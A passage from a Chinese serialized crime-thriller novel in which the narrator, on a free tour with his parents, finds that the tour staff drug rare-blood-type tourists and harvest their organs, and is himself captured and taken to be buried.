马领队顿时发现自己说的有问题，支吾的解释：“我们有仪器，仪器很先进的，不需要那么多血样。我忙着呢，你办完入住去房间吧，吃饭时间早呢！” 我一看他开始撵我，明显不爱和我继续对话了，提着来时候的包，跟我爸妈回到我们的房间。 “儿子，你对这个体检有疑问？”我爸问我。 “噢，是的爸，他说全身检查，却只抽了这一点血，而且我也没看到体检的专业器材，好奇而已。”我回。 “人家也不收咱们钱，免费带咱们玩，还免费吃住，你总瞎怀疑什么？”我妈接过话茬。 “吃点东西，我们先去后院的温泉看看。你爸早就想泡温泉，今天可以让他圆圆梦。” “妈，我爸想泡温泉，你咋不告诉我呢？我可以带他去啊。”我说。 “你工作挺忙的。这不是挺好吗，还有其他老头老太太，我们也算是个伴儿。” 我看看我妈很期待的样子，把到了嘴边的话咽了下去。 等我们吃完东西去后院，后院已经有几个老人在泡温泉了。 温泉池不大，同时容纳五个人都显得拥挤。 我爸妈还是很开心的，一边泡一边和身边同行的人聊天。 “你们抽完血以后，给你们新卡片了吗？”同行的一个大娘问我妈。 “卡片？没有啊，什么卡片？”我妈很诧异。 “就是抽完血了，他们会按照之前写的人名名牌，再给你一个卡片，这个上面什么都没写，一张红色的卡片。马领队说了，回去以后可以用这个换礼品。”大娘开心的说。 “还有礼品？那为什么没给我们卡片呢？没给卡片的是不是就不给礼品了？”我妈着急的问。 “这我就不知道了，你去问问马领队。” 我妈再也安静不下来了，她四下寻找着马领队，她认为既然是一起来的，礼品就应该每个人都给。 可是这马领队一下午都没见到人，就跟人间蒸发了一样。 “妈，你跟我爸在这泡着，我去找领队问问？”我说。 “那行，向荣啊，记着跟人家好好说，可不兴发火的噢！”我妈嘱咐我，我爸也满眼赞同的看着我。 “妈、爸，你们放心吧，儿子早就不是当年从家出来要去闯荡的毛头小伙子了。”我安慰他们，让他们安心。 从后院回来，我记得马领队的房间是101，一楼走廊第一间，我去问问他，红卡片是什么意思。 等我到了101门口，房门虚掩着，里面好像有好几个人在忙的声音。 我敲了敲门，没人回应，应该是没听见吧？ 我再次敲了敲，稍微大了点声，同时推开了门往里看。 这一看可给我吓了一跳，正对着房门的桌子上摆满了红呼呼的试管，那里面应该都是血液。 红毛马领队跟那个中巴车司机正在一瓶一瓶的核对着什么，核对完还要在试管上粘个告示贴。 “哎？你干什么？谁让你进来的？”马领队回头看到我，跟被人踩到尾巴一样，惊叫一声，直接就拦住我往里走的脚步。 “领队，我来问问红卡片的事情。”我一边说，一边用眼睛看着那桌子上的东西。 马领队直接就把我拽出了房间，质问我：“什么红卡片？你说什么呢？” “就是领礼物的卡片，有人跟我爸妈说，抽完血以后你给发的，还说可以用这个卡片领礼品。” “噢！”马领队好像终于反应过来一样，支支吾吾的没回答出完整的答案。 “这个、卡片嘛，没发是有原因的。你们别着急，礼品都有。” “没发卡片的有什么原因啊？因为什么啊？不会是查出身体有什么病了吧？”我询问。 “这都不好说，我现在也没办法答复你。你不就是关心礼品吗？回去吧，到时候跟我要，我肯定给你们。”马领队要结束对话，准备回房间。 第二百零九章 放在门口的信封 “领队，你们这血液样本就这样摆着，也不是无菌操作呀？体检结果能准确吗？”我实在忍不住当做没看见。 “这就不需要你操心了，我们的体检结果你们可以到任何医院去咨询，保证准确率。” “可是我看你们鼓捣的真不专业。”我依旧咄咄逼人。 “哎我说你这个人，这跟你没关系好嘛！体检我们都是免费的，也不要钱，你废话怎么那么多呢！” 马领队说完就气哼哼的冠上了房门，还落了锁。 我吃个闭门羹，但是心里已经对这件事存疑到了极点。 也许是这些年经常参与这些事情锻炼的吧，我的嗅觉很敏锐，尤其是一些不寻常、不合常理的事情，我第一时间可以嗅到不良气场。 我决定暗里监视他们，如果他们想害团里的人，我必定出手。 回到后院，我爸妈已经不在泡池里了，那几个老人告诉我，他们回了房间。 于是我回房间找他们，敲开我爸妈的房门后，看到我爸很虚弱的躺在床上。 “爸，你怎么了？”我着急的询问。 “我觉得特别累，想睡一会儿。”我爸虚弱的回答。 “行，那您休息吧，把被子盖好，泡温泉出过汗，可别感冒了。” 我妈也坐在床边看着我爸，“向荣，你爸没事，泡温泉的时间有点长，他有些头晕而已。红卡片拿到没有？”我妈问我。 “妈，领队说了，没有卡片不要紧，礼品每个人都有，告诉我到时候就跟他要。” “哦，那可能是他们手里的卡片不够发了呗，有的有、有的没有。向荣啊，你记得跟他们要礼品。我也有点累了，想睡一会儿。”我妈也躺下跟我说。 “好，那你们休息吧，我先回房间。对了，妈，晚上谁敲门也不要给开，记得没？如果是我来，我提前电话告诉你。”我心里有隐隐的不安。 我妈点点头，“你离开的时候，把房门带上。” 回到自己的房间，说什么也睡不着，心安静不下来，我决定把这件事跟林翔说一下。 电话接通后，林翔的声音传过来，“向荣，等不及了吧？我这边还没找到他们的蛛丝马迹，所以一直没有去联系你。” “老林，我陪我爸妈出来旅游了，我有十天的假期。”紧跟着我又把王敬之寄来包裹的事情告诉了林翔。 “这么说，敬之目前很安全，那我也放心了。你就等我这边的消息吧，你也别急，好好陪叔叔阿姨散散心，心急吃不了热豆腐！”林翔说。 “我知道，我今天给你打电话是要跟你说一件别的事。” “什么事？” 我把旅行团前后这些神秘的细节跟林翔反应了一遍。 “哦？还有这种事？最近确实没有发生过什么案件，对了，半个月前确实有人口失踪的情况，是个壮年小伙，我们也怀疑跟明叔团伙有关。”林翔回。 “老林，我先跟你备个案。如果我没事，两天后我会给你打电话，如果两天后你没接到我的电话，记得找我！我把我们住的地址发给你。”我告诉林翔准确方位。 “向荣，你要照顾好自己，有险情，千万不要盲目出头！尤其你还带着叔叔阿姨。”林翔嘱咐我。 “我知道！” 挂断跟林翔的电话后，纷乱的情绪才得以缓解，打开电视胡乱的调着台，慢慢的我也困了。 我是被一阵猛烈的敲门声给弄醒的，因为睡的比较沉，刚醒的时候还有点发蒙。 谁啊？几点了？这么砸门。 我摸出手机看了下时间，夜里10点半，咋回事？ 脑子立刻清醒了，想起隔壁的父母，要是被这么砸门，还不得吓坏了。 我赶紧去门口开门，开门前看了看门镜，“奇怪，没人啊！谁敲门呢？” 几年的悬疑事件接触，我并不害怕这类的事情，我把保险链挂上，打开门往外看。 确实没人，但是门口正前方的地上有一个信封。 我打开链锁，特意出来到我爸妈的房门前查看了一番，什么都没有，看来只是敲了我的门。 是谁呢？我拿着信封，又四下看了看，回到房间把门锁好。 信封里面只有一张字条，每个字都是报纸上剪下来的铅印字粘贴上去的。 写的是“不要吃他们给的任何药物！” 他们？谁呢？ 他们给药物？ 难道是红毛领队？他们会给什么药物？ 这是一封提醒的信，这个旅行团一定是有问题了，看来明天他们会发放药物，这个人提醒我不要吃。 我心里的隐忧越来越浓重，不是因为我自己，是因为我爸妈也跟在团里，一旦有了危险，可怎么办？ 明天的行程是上山，我爸妈说他们不去，也好，明早上一定嘱咐他们留在这里等我，不要随意跟陌生人走，也不要随意给陌生人开门。 第二天早上，我陪爸妈吃早餐，老两口应该是休息的挺好，气色都不错。 我把昨晚上收到的信递给我妈看，我妈很纳闷的接过来，看完以后整个人都紧张起来。 “妈，不要紧张，没人能害的了我们。我跟你说这件事，是要嘱咐你，是今天进山后，你们不要跟任何人走，也不要吃任何人给的东西，一定要等我回来，知道吗？” 我妈点点头，还要问我什么，我忽然想起来林翔的事情。 “妈，只有一个人来了，你们可以跟他走，他叫林翔，是一名警察，也是我的朋友。我已经跟他说了这里的事情，安排好了后续。” “儿子，你不用担心我和你爸，我们两个岁数都大了，身体也不好，你应该担心的是你自己。要不然，这山你不要去上了，咱们等到明天回程吧。”我妈提议。 “妈，要是不知道他们要干什么，我躲着还行，现在知道了他们很有可能要干坏事，我怎么能袖手旁观呢？这团队里还有十几个人呢！” 我妈听我说完，轻轻的点点头，又看看我爸，我爸回应她，“听儿子的安排吧，他不会有事的。” “来来，大伙集合了啊！今天的行程是上山，老年人全部留守，年轻人都跟我走！”红毛领队的大嗓门喊起来。 “妈，我先去了，千万记得我说的话！”我再次嘱咐我妈。 “向荣，别鲁莽，先自保！”我爸着急的补了一句。 我给我爸比了一个OK的手势，跟着其他人一起往中巴车那里走去。 第二百一十章 困字局贼窝 等我从爸妈房间出来的时候，已经是夜里10点了，我准备回自己房间睡觉。 可是，在我开门的时候，突然听见我旁边的那间有红毛领队的声音。 旁边那间睡的是哪个队友了？我苦思冥想。 对了，就是那个中奖的小伙子，他一个人来的。 这么晚了，红毛领队去人家房间干什么？ 我好奇的凑过去看，隔壁的房门半开着，没有关，我探头往里看。 “老贼，快点！门没关，别被人发现了！赶紧背上他去楼下！”红毛领队的声音。 什么？看来真的在犯罪！里面的小伙被他们害了？ 我听到里面有呼哧呼哧抬人的声音，怎么办？如果现在去抓现行，未必能救得下人，可能还会连累父母，毕竟对这帮人一无所知。 一眼看到距离不远的墙垛处有消防通道，我蹑手蹑脚的过去躲起来。 刚站好，红毛领队跟那个叫做老贼的司机就背着中奖的小伙出来了。 小伙子像喝醉了，也像睡着了，一声不吭，就那么让人背着走。 坏了！他们这是要害人，怎么办？我该怎么做？ 我的大脑飞速旋转，但是因为孤军奋战，我不敢贸然出击。 对啊，还有两个人中奖了呢，那两个人难不成也会被“带走”？ 红毛和老贼的速度特别快，走到下地下的楼梯，犹豫都没犹豫就下了楼。 我悄悄跟在后面，保持着距离，看到他们要把人带到哪去，再想办法找人来营救。 他们到了负一，我在楼梯的缝隙处往下看，红毛打开那个黑色的小窄门，两个人侧身进去，我听到了关门声。 原来那里真的是有问题。 三步并作两步，我找到一楼信号最好的地方准备给林翔打电话，可是怎么拨都拨不出去，仔细看了看手机，竟然一格信号都没有，坏了！这里很可能是贼窝！ 正着急呢，听到走廊里有开门的声音，又有人出来了，有人出来就是好事，我纠集几个人，一起想办法，实在不行，让大家都注意保护自己也是好的。 顺着声音看过去，是那个女队友，她迷迷糊糊的走出来，如果我没记错的话，中奖的那个女的就是她。 “美女，你这是，去哪啊？天这么晚了，别出去了！”我上前去打招呼。 “大哥，我、我觉得头好晕，浑身难受，我、我快不行了......”话还没说完她就瘫倒在我身上。 难道，他们是吃了这里的东西？ 我赶紧四下看看，如果没猜错的话，红毛他们很快就会来处理她。 事不宜迟，我赶紧扶着女队友回到我的房间，迅速打开门，进了房间。 我把门锁锁好，又上了保险，把女队友放到床上，给她把了把脉，脉搏稍弱，但是没有大碍，应该是吃了迷药之类的东西。 走廊又响起密集的脚步声，我悄悄的走到门镜处往外看，果然是红毛和老贼。 我听到他们在女队友出来的那个方向，红毛压低了声音问：“人呢？” “没有！卫生间也没有！”老贼回。 “妈的，人去哪了？她的药量你给了多少？” “正常的啊，肯定会中招的，可是人哪去了？”老贼说。 “先不管这个，她跑不了，先去另一个！”红毛说完，我听见他们两个有很急速的去了别的房间。 过了不大一会儿，我看到老贼背着另一个小伙急匆匆的朝地下一层走去。 坏了，没救下这个。 这些人的胆子太大了，光天化日的就敢绑人，明天回程了怎么跟人家家人交代？ 我又掏出手机试信号，还是一格没有一格，试了一下房间的电话，全是盲音。 身在贼窝，能逃出去的可能性目前看很低，尤其是困字局，怎么办？ 这时候床上的女队友动了动，我赶紧走过去叫她，“醒醒、醒一醒，你怎么样？” “大哥，我口渴，有水吗？”看来是没事了，说话很利索。 我找出带来的矿泉水，递给她一瓶，女队友接过水瓶，很饥渴的喝起来，没多一会儿就下去多半瓶。 喝了这么多水，她的精神稍有好转，我赶紧问她：“怎么了？出了什么事？” 女队友像反应过来了什么，惊吓的坐起身，警惕的看向房门，说：“大哥，把门锁好，他们是坏人！” “你放心，谁也进不来，而且几个小时前我就报警了，警察很快会赶过来，你告诉我到底发生了什么？”我安慰女队友。 原来，女队友叫何亚楠，这次是失业了想出来散散心，在街上被红毛塞了传单后，发现大部分项目都是免费的，很感兴趣，就报了名。 今天晚餐的时候，红毛让中奖的几个人坐在一桌，其余的年轻人一桌，老年人一桌。 说是中奖的给的餐标要比其它桌的高，菜都上来以后，确实要比邻桌好一些，正要吃饭，红毛又给他们三个人拿过来三瓶饮料。 饮料无色的，有点像雪碧，但是不是雪碧，“只有你们三个有，你们自己喝，不要给邻桌。”红毛嘱咐。 何亚楠因为保持身材的原因，很少喝碳酸饮料，想着晚上带回房间，明天带走就完了，所以没开瓶。 另外两个人则是一边吃一边喝，整瓶见底。 快吃完饭的时候，红毛过来了，看着一直打呵欠的两个男队友，又看看何亚楠。 “美女，饮料好喝不？” “领队，我减肥，不喝碳酸饮料。” 哪知道，红毛的表情立刻就变得特别吓人，那种好像马上就要下手打你的样子。 “我说你是不是不识好歹，这么多人就给你一瓶饮料，你还减肥？太不识抬举了！” 何亚楠没想到红毛领队会因为这个原因变得这么可怕，想了想自己也确实有点欠妥。 “领队，你看你，咋还生气了，我喝就是了。”于是何亚楠打开饮料瓶，倒了一杯，一饮而尽。 红毛的表情缓和了，又说：“对，喝光，让别的人看到又得和我闹，说我不公平。” 何亚楠点点头，但是只是应付红毛，之后只喝了一杯，就偷偷盖上盖子，扔到了桌子下边。 回到房间以后，她就觉得特别困，脑袋也疼，她原来的职业是护士，稍稍懂一些医学知识，她知道这种疼不是好事。 立刻就想到了红毛吓人的表情，她很害怕，就觉得在房间不安全，于是就有了后来。 看来，是减肥爱美救了这丫头。 第二百一十一章 熊猫血 “大哥，另外两个队友应该也会出事。”何亚楠冰雪聪明。 “我刚才在门镜里看到他们两个已经被红毛和司机给背走了，可是我现在手机没有信号，消息都传不出去，唉！”我惆怅得很，一点主意都没有。 “大哥，他们想干什么呢？那两个队友会不会已经？”何亚楠也很焦虑。 “如果我猜的没错，应该是跟你们中奖有关，他们需要的就只有你们三个，他们还是会找你的。”我回。 何亚楠立刻害怕起来，自己把自己抱住，蜷缩在床头的位置。 “大哥，怎么办？我们得报警，我不能一直在你的房间不出去啊？”何亚楠的话音刚落。 我就听到走廊有动静，看了看时间，已经是夜里11点多了。 我跟何亚楠做了一个嘘声的手势，悄悄的走到门镜处看，还是红毛和老贼，还有敲门的声音。 难道他们是在挨个房间找人？ 我赶紧示意何亚楠，“你得躲起来，他们在找你！” “躲哪里呢？卫生间也藏不住人啊！”何亚楠着急的说。 我迅速的查看了一圈，有了。 我让何亚楠躲到床帘后面，再在床帘前放了一把椅子，还有我的行李和若干东西。 刚搞完就响起了敲门声，我故意等敲了好几下才应声，“谁呀？这么晚了不让人睡觉！” “开门，领队，送礼物的！”是红毛的诈唬声。 我依旧拖沓着去开了门，门刚打开，红毛和那个叫做老贼的司机就挤了进来。 “干嘛呢？这么半天才开门？”红毛很严厉的问我。 我心想，这哥们儿是不是没搞清楚状况，现在在公开来讲，我的角色还是客户，他是服务的。 “怎么着啊？这都11点多了，不让睡觉？你们这个旅行团还有这个规定？”我也很严厉的反问。 红毛立刻怂了，示意老贼四下查看，他缓和了语气跟我说：“对不住、对不住，太忙了，没注意时间，把礼品给你们发了，你们就安心休息吧！” “我说啊，你们可别去打扰老头老太太睡觉，他们的礼物我替收了，我爸有癌症，我妈身体也不好，你们这个时间去咣咣敲门，他们后半夜都没法睡了。”我严厉警告。 “哎，你，干什么呢？”我指着走进屋里的司机问。 “哦、哦哦，我想去趟洗手间。”司机磕磕巴巴的回。 “洗手间在这呢，爷们儿，你往哪走呢！”我打开卫生间的灯，示意他过来。 司机只好乖乖的回来，进了洗手间。 我接过红毛手里的礼品袋子，忽然想到一个主意，“领队，咱们的体检结果出来没有？” 红毛一听我问这个，马上警惕起来，“还没有呢，怎么了？” “我跟你说啊，这个旅行团我来的很后悔，后院的那个温泉小的，下去5个人都互相撞，晚餐我和我爸妈睡着了，也没人叫我们去吃饭，现在还饿着呢！等你个免费体检，结果也没出，这啥玩楞！能不能退钱？我明天要回去！”我表达着不满。 红毛领队一听，我有这么多不满意，还没吃晚餐，开始不耐烦了。 “大哥，咱们这个团基本都是免费，像你这个年龄的来，就收你80，你还想要啥自行车啊？体检结果回去之前肯定给你。”红毛也表达着不满。 “那晚餐呢？我和我爸妈都没吃着，我现在还饿呢！”我逼问他。 红毛看着从卫生间里失望的走出来的司机，不想跟我恋战。 顺嘴溜达了一句，一会儿的吧，你下楼，我和他也没吃呢，你过来跟我们一起吃点。 我愕然，让我去跟他们一起吃饭？这不还是要吃他们的东西吗？ 可是，如果去的话，说不定我能发现什么蛛丝马迹，现在最关键的是被他们带走的两个人是不是还安全。 “晚餐给的什么内容？”我边说边思考着去还是不去。 “我说你这个人，你刚上车的时候我就发现你是个刺头，晚餐也是免费的，你有要求，我也满足你了，你咋的，还挑吃啥啊？”红毛边说边往外走。 “想吃你就一会儿下来，不想吃就算了！”扔下一句话，两个人走了。 我赶紧关上门，吁了一口气，何亚楠算是又躲过了一劫。 何亚楠从床帘后面出来，欣慰的说：“大哥，谢谢你！他们应该不会回来了。” “今晚上暂时安全了，但是明天不确定。” “大哥，我听你说你要下去吃饭，你可千万不能去啊！他们现在是干什么的我们不知道，万一、万一你有了事情可咋办？”何亚楠劝我。 “可是只有下去吃饭，才能顺理成章的下去查看啊！说不定能发现什么。” 何亚楠也没有主意，焦急的看着我。 我冷静下来想了想，这一趟我还是要去，那两个小伙，多过一分钟就多一份危险。 “小何，大哥要拜托你件事。” “没问题，大哥你说。”何亚楠回。 “你先休息，稍晚一些我下去查看一下。如果我没回来，你务必帮我照顾隔壁的我父母。白天的时候我已经跟我的警察朋友打过招呼了，明天他会过来，拜托你把我的父母安全的交到他手里。不要跟他们说我去哪了，让他们安心的跟我朋友回去。” “大哥，你自己去太危险了，要不等等吧，等明天天亮了，咱们团里这么多人呢，他们应该不敢太放肆！” “这样不是不可以，可是我担心那两个小伙，晚一分钟他们遇到危险的可能性越大！” 何亚楠也没了主意。 “现在，你暂时是安全的，不过我总觉得他们还是不会放弃寻找你，你只要在房间里不出现，他们只要找不到你，你就可以等到警察过来，你要告诉警察这里发生了什么。别担心我，我会很小心的。” “好吧，大哥，你一定要小心！”何亚楠再次嘱咐我。 “小何，你千万不要和我爸妈说这件事，明天他们是不需要爬山的，你躲在房间里应该没问题。团里的队友，应该也不会有事发生，现在最需要担心的就是被他们带走的两个人。”我也很焦虑。 “大哥，他们为什么锁定我们三个呢？我们三个都没见过面。”何亚楠问我。 “应该跟抽的血有关系。” “抽血？哦，对了，我是熊猫血。” 第二百一十二章 偷袭 我告诉何亚楠就在我的房间待着，在里面锁好门，哪也不要去，如果我回来的话，我会按照我们约定好的敲门方式敲门。 安顿好一切，我出了房间，路过父母的房门口，想想要不要进去跟他们讲一下。 还是算了，该说的也已经说完，一切听天由命吧！ 我大摇大摆的往负一层走，下面的铁栅栏开着一人可以进出的空间，旁边的小黑门还是关的死死的，就像没有开开过。 等我钻进了铁栅栏，开眼界了。 确实是一个地下食堂，有七八张圆桌，后厨还点着微弱的灯光，红毛和司机老贼正在其中一张桌子边吃饭。 他们听到脚步声，警觉的看向铁栅栏，看到是我，红毛的脸上写满明显的不悦。 “大哥，您还真来了！这么晚了您还吃得下吗？”红毛戏谑我。 “不吃不行啊，饿的睡不着，本来睡了，让你们给咣咣醒了，太饿了！”我吵嚷着走到桌子旁边。 “一荤一素、一个汤，白米饭，不错，我吃一碗米饭应该就够用。”我大方的坐在桌子边，自己拿起旁边的碗盛饭。 司机老贼瞪视着我，一张面孔板的很严肃。 “哎，哥们儿，你咋总是这么严肃呢？瞅着总像在生气一样。”我打趣他。 他从鼻孔里发出一句闷哼，不搭理我，继续吃饭。 红毛邪邪的一笑，也不说话，他们俩都不爱搭理我，正好，我可以安静的观察。 饭和菜、还有汤，他们一直在吃，应该不会有问题，我也大快朵颐起来。 嘴巴忙着吃饭，眼睛也没闲着，我四下打量着这个空间。 中心位置摆放的都是圆桌和椅子，四面的墙角，有的位置堆放着椅子，有的位置是打扫卫生的工具，还有一处燃起了我的好奇。 那是一张床，确切的说是医院的那种类似手术台的窄床。 这疗养院怎么还有这个东西？难不成这里有自己的卫生诊所？ “大哥，你快点吃，我们俩马上就吃完了，吃完就要锁门。”红毛警惕的提醒我。 我知道他是看到了我在四下探询。 “哟，兄弟，哥哥胃不好，吃饭不能着急，也不能吃凉的，要不然马上就胃口疼，这回出来的匆忙，忘记带胃药了，真疼起来，我还得拜托你们出去给买药，多折腾啊！” 我边扯谎边跟红毛对视。 红毛气愤的看着我说：“大哥，你是不是刺头托生的，我怎么觉着你每次说话都夹枪带棒的，总像要搞事情一样呢！” 旁边的司机老贼也啪的一声放下筷子，斜楞着我。 “我说兄弟，我怎么夹枪带棒了？这么晚了确实不合适吃饭，但是这也是你们告诉我可以过来吃的不是吗？”我不服，回怼。 “是让你来吃了，但是你也不能跟白天坐席一样的啊，慢悠悠的，我们等着休息呢！”红毛也很来劲。 我不着急不着忙的，也不搭理他，就慢悠悠的吃。 红毛一看我使出了艮刀肉手段，气得干瞪眼。 很突然的，附近传来一声巨大的声响，像是东西倒地的声音，因为是在夜里，而且很空旷，我们三个人都吓了一跳。 “怎么了？领队，出什么事了？听着像是后厨的架子倒了。”我问。 红毛明显也很意外，他给司机老贼递了个眼色，老贼赶忙跑了出去，我看着出去的方向，就是黑门的方向。 可是接二连三的，里面继续传来一声接一声的响动，好像还有人奔跑的声音。 我等不及了，这是个机会，站起身就朝声音传来的方向走去。 “哎！说你呢，你回来！没你什么事儿！”红毛在后面喊我。 我根本就没理会，我知道这个机会如果错过了，就很难再找到救人的机会了。 三步并作两步的来到了黑门附近，黑门开着，我顾不上身后紧跟而来的脚步声，一脚就迈进了黑门。 进来以后是一条又窄又暗的通道，上方只有一盏昏黄的小灯，关不了那么多，既然来了，我必须看看！ 我几乎是用跑的往前奔，后面跟着红毛，但是他明显被我落在后面。 再后来，我听不到声音了，越来越黑，只有我自己在走。 我在心里盘算了一下，能走了五分钟的路程吧，前面的路渐渐开阔了，像是来到了一个场地。 虽然还是昏暗的灯泡光，但是明显可以看到一地的狼藉，有倒在地上的铁架子、各种工具散落在旁边，还有墩布头、扫帚，像是经历了一场打斗。 我又仔细看了一下围墙边黑乎乎的一堆东西，这都是什么？ 凑近仔细一看，我吓了一跳，那是一个展示架，每一层都摆满了玻璃瓶子，瓶子已经落满了灰尘，看不出来是做什么用的，但是依稀可以看出里面有液体。 我顺着路的方向继续向前，那两个男队友到底被掳到哪里去了呢？ 而且还有件事也很奇怪，明明红毛跟在我后面，怎么没声音了？中途返回了？还是还有其它通路，我没有发现？ 我回忆了一下来时的路，确实没发现别的口子，除非红毛原路返回。 司机老贼也进来了，不然黑门不可能是开的，但是走了这么久也没发现人，到底去哪了？ 在上面看的时候，整个疗养院没有多大，我在下面竟然走了这么久，这是走到哪里去了？ 重重的疑虑包围着我，我希冀着向前走能找到答案。 出了刚才一地狼藉的空间，又到了一处走廊似的通道，这一回跟上次不同的是，走廊两边有多个房间门，好像是旅店的走廊。 糟了，这么多房间，我得一间房一间房的查看。 光线不够，就用手机电筒代替，我一间一间的检查起来。 连着走了三间房，里面都是摆放着旧床，每间房一张床，看着像是疗养院之前的样子。 房间里没有其它陈设，满目的灰尘，应该是废弃很久了。 快到走廊尽头的时候，我感觉到身后有一阵风袭来，很迅速，根本躲不开。 右边的脑袋重重的挨了一下，疼痛钻心，头晕目眩，我晃了晃，想回身看看是谁，可还没等转身，头顶又重重的挨了一下，我眼前一黑，什么都不知道了。 第二百一十三章 活体摘取 醒过来的时候，刺眼的光线让我睁不开眼，耳边传来砂轮的声音，有人在磨什么东西。 身上很紧，头上依旧很疼，眼睛附近的皮肤粘粘的，不知道是不是流了血。 适应了光线以后，我低头看了看身上很紧的地方，乖乖，原来我正被五花大绑着。 看来确实是着了道儿，刚才是谁打我？脚步那么轻，怎么接近我的我都没听见。 正回忆的时候，身边有人用脚碰我，谁？ 歪头看的时候，惊住了，我被堆放在靠墙边，而同我一样被绑着堆在这的，还有五六个人，那两个男队友也在其中。 用脚碰我的就是其中一个男队友，除了被五花大绑，他的脸上写满了惊惧和疲惫。 除了我之外，那几个人无一例外的都被堵着嘴。 我用眼神示意碰我的男队友，告诉他我看到他了，别急。 然后我开始仔细的打量起这个环境，寻找砂轮声音的来源。 这明明就是一间医院，旁边的房间跟这个房间的墙壁有一面大的透明玻璃，可以看到对面房间的手术台和手术床上方的灯。 砂轮的声音就是从那个房间传出来的。 等等！那床上好像躺着一个人，腹部还有血...... 我挣扎着，想摆脱绳子的束缚，我要去救人。 但是绳扣束缚的很紧，根本就挣脱不开，怎么办？我看向两个男队友。 他们和其他几个人都恐惧的看着我，那目光很显然已经被吓怕了。 我一边蹭一边靠近用脚踢我的男队友旁边，用嘴去撕他嘴巴上的胶布。 废了九牛二虎之力，总算成功了，那个男队友的嘴巴露出来以后，说的第一句话竟然是，“他们杀人，快跑啊！” “杀人？杀谁了？你看到了？”我悄悄的问。 男队友点点头，十分惊恐的看着我，似乎很不愿意回放那段记忆。 我看看他浑身上下完好无损，还有另一个也很惊恐的队友，也是没什么伤。 心里稍稍有点安慰，我到的还算及时。 但是现在怎么办？我也被抓进了贼窝！ 我要怎么救这些人出去呢？ “他们杀人做什么？怎么还有手术室？”我问男队友。 “他们、他们摘取活体器官，然后、然后把这个人注射死亡，再处理掉。”他努努嘴，“上面那个人在一个小时前被摘取了肝脏......” 啊？如此危言耸听的剧情，竟然被我赶上了！ 另一个男队友似乎被这些话勾出了记忆，眼神惊恐万状，还几欲作呕。 其他几个人都丧丧的，一看就是看多了这样的事情，绝望了。 如果是这样的话，这些人就都是要被这么“处理”的，现在只是在等待。 不行！绝对不能放弃，就这么等着、任由他们宰割！ 我开始寻找脱身的办法。 “哥，这个怎么处理？”隔壁传来红毛的声音。 在他前面站着一个穿白大褂的男的，正是白天给车里人采血的家伙。 “丢炉子里！”被称作哥的人回。 “刚才下来偷东西的怎么处理？”红毛又问。 偷东西的？难道是在说我？ “他是熊猫吗？” “他不是，普通人。” “那就给他扔坑里，埋了。”男人随意的说。 “把这个弄走，再弄个新的过来。”“哥”发布指令。 这帮恶人！如此胆大包天，残害人命，老林啊！快来！ 我在心里不住的祈祷，红毛走了进来，看到我后目露凶光，但是他没动我，而是拽起角落的一个身材矮小的男子。 那个男的身上很脏，整个人都毫无生气，眼光空洞，看着像是来这里很久了，早已经被吓的没了魂魄。 但是当他被红毛拽起来的时候，还是发出了撕心裂肺的哭喊：“放开我！求求你们，放了我！放过我吧！给我家里人打电话，让他们给你们钱，要多少钱都可以！放过我吧，我还年轻，我不想死！” “你喊什么喊！给钱？你知道你的这颗心脏值多少钱不？很快就能拿到钱的事情，我们为什么还要惊动你家人和警察！你不用害怕，你什么都感觉不到，一觉就睡过去见上帝了！”红毛冷冷的、狠狠的说。 可是那个男人还是发出杀猪般的嚎叫，地上坐着的几个人都索索发抖，惊恐的看着。 “哎！小子！放下他，是爷们儿的就放下他！做这种事要遭报应的！连你的子孙后代都要受惩罚的！”我喊。 “哟呵！你别着急啊，等他上去了，我就来处理你！你的英雄主义到下边跟阎王爷逞去吧！”红毛鄙视的看了我一眼，转身拖着那男的就走了。 那是我人生第一次那么的无助，无力，我眼睁睁的看着一个活生生的人被拽上了手术台，注射 了让他安静的药剂。 我终于知道了这几个人为什么恐惧了，那是一种无力改变现实的无助感，一种看着别人的遭遇，而且自己很快也是这种遭遇的恐怖感。 还没等我看到“刽子手”摘取心脏，红毛就来拽我了。 我被捆绑住手脚，无法反抗，只能用嘴皮子功夫逞一时之快。 “爷们儿，咱们能不能商量商量，你们不就是要钱吗？我有钱，要多少我给你，和气生财啊！” 哪知道红毛在后面直接就踹了我一脚，“和你妈的财！就看你不爽，就要你的命！你能怎么着？” 我一个趔趄差不点没摔倒，站稳的时候，突然发现在手术室里有个熟悉的身影一闪而过，是谁呢？ 林翔，老林！我吕向荣恐怕等不到你来了，这里还有几条活生生的人命啊！ 我一下子涌上来好多担忧，爸妈还不知道我“先走一步”，我姐，还不知道上一回的斗嘴就是今生最后一次，还有林哥、老袁......我的那些物业哥们儿们！ 各种情绪纷沓至来的时候，我的头脑混乱不堪，红毛在后面推搡着我，我在前，他在后，又走进了那条熟悉的走廊。 走到中间位置的一个房门口，红毛厉声喊：“走这里！” 我被推搡着进了门，走到床边的位置，红毛不知动了什么，墙壁被推开一人进出的空间。 我终于明白刚才为什么没听到身后有人过来的声音了，原来这里暗藏玄机。 从墙缝走出来以后，上了半层楼梯，竟然来到了疗养院的一楼，这个位置我知道，是通往后院温泉的通道。 我被推出来以后，外面的天色还是黑的，天还没有亮，老林至少还得三四个小时才能到这里。 “爷们儿，现在就我们俩，我给你钱，你放了我，你要多少都可以，我有钱！你放心我不会声张的，你的同伙不会发现的！”我诱惑着红毛。 经过刚才纷乱的思绪，我渐渐理清，现在、此刻，我不能放弃自己，只有我自己才能救自己！ 红毛这一次没有马上喊叫，看来我的心理战起了点作用。 “爷们儿，我说真的，你看我的外表低调，但是我是某集团的大区负责人，我有钱，我偷偷给你，你的同伙也不知道。我身上没有他们想要的东西，你放了我，好不好？” 我极力游说，不想放过任何可以解救自己的机会。 第二百一十四章 真假明叔 “你这张嘴可真能说，你认为我能相信你吗？你刚才看到的那都是掉脑袋的事情。你就死了那条天真的心吧！怪就怪你太欠儿了！没事儿非要下来吃饭！”红毛说。 “你相信我，我啥也没看见、没看见！”我继续说，不放弃。 这时候我感到脚下的路越来越难走，有枯树枝被踩折的声音，身旁的树木渐多。 我来林子里了？刽子手说的埋了，是这个意思吗？是要活埋我？ 我急的额头上全是汗，还是没有任何主意，红毛坚持不相信我，我无法说服他。 到了一处密林，四下安静、黑暗，地上不知道什么时候竟然有个挖好的坑。 我本来想着趁他挖坑的时候，再想办法脱身，可是，不得行了。 当他把我推倒在坑里的时候，我感觉到了深深的绝望，对，就是绝望！ 完了！我完了！ 从未想过我会这样结束生命，我还有年迈的父母、姐姐，我还没能尽孝到底。 还有我师哥，我还没有看到他回来，开起中医馆。 心里还有浓重的恐惧、不甘心，更多的就是绝望。 